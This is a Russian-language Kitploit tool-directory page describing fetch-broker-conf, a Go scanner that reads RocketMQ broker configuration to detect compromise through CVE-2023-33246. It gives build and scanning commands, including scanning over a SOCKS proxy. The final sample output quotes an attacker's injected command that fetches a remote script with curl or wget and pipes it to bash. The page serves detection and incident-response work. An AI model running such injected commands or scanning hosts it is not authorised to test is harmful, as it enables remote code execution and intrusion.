Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
fetch-broker-conf — Эксплойт на Go для получения конфигурации брокера RocketMQ с целью обнаружения индикаторов компрометации для CVE-2023-33246 | Kitploit
Инструменты/GitHubGitHub/vulncheck-oss/fetch-broker-conf
Управление индикаторами компрометации (IOC)Анализ уязвимостейЭксплуатацияСбор информацииТестирование на ПроникновениеРеагирование на Инциденты
GitHubvulncheck-oss/fetch-broker-conf

fetch-broker-conf

Эксплойт на Go для получения конфигурации брокера RocketMQ с целью обнаружения индикаторов компрометации для CVE-2023-33246

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт
511 год назадЕщё не проверено

Конфигурация Fetch Broker

Fetch Broker Configuration попытается загрузить конфигурацию брокера RocketMQ, чтобы найти индикаторы компрометации в переменной rocketmqHome. Эта переменная используется различными злоумышленниками для выполнения кода через CVE-2023-33246. Дополнительные сведения см. в блоге VulnCheck.

Компиляция

Вы можете использовать makefile для сборки docker-контейнера:

root@kitploit:~
make docker

Или, если у вас уже готово окружение сборки Go, просто используйте make:

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go

Использование

Инструмент построен на основе go-exploit, поэтому существует несколько способов указать цели для сканирования. Полное описание можно найти в документации по сканированию проекта. Однако ниже приведены несколько примеров:

Сканирование одного хоста

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:27:48.567836165-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}

Сканирование нескольких хостов

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:34:27.505747211-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}
{
  "time": "2023-09-05T05:34:27.802345043-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.150",
  "port": 10911
}

Сканирование файла с хостами через прокси

go-exploit предоставляет возможность сканирования через предоставленный CSV-файл с целями, где CSV имеет формат: host, port, anything if ssl is enabled (хотя поле SSL игнорируется, если используется -a). Также есть возможность сканирования через прокси. Команда работает следующим образом (обратите внимание, что -a — это автоопределение SSL):

root@kitploit:~
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-08-31T13:45:35.781849255-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
  "host": "x.x.x.x",
  "port": 10909
}
Скачать инструмент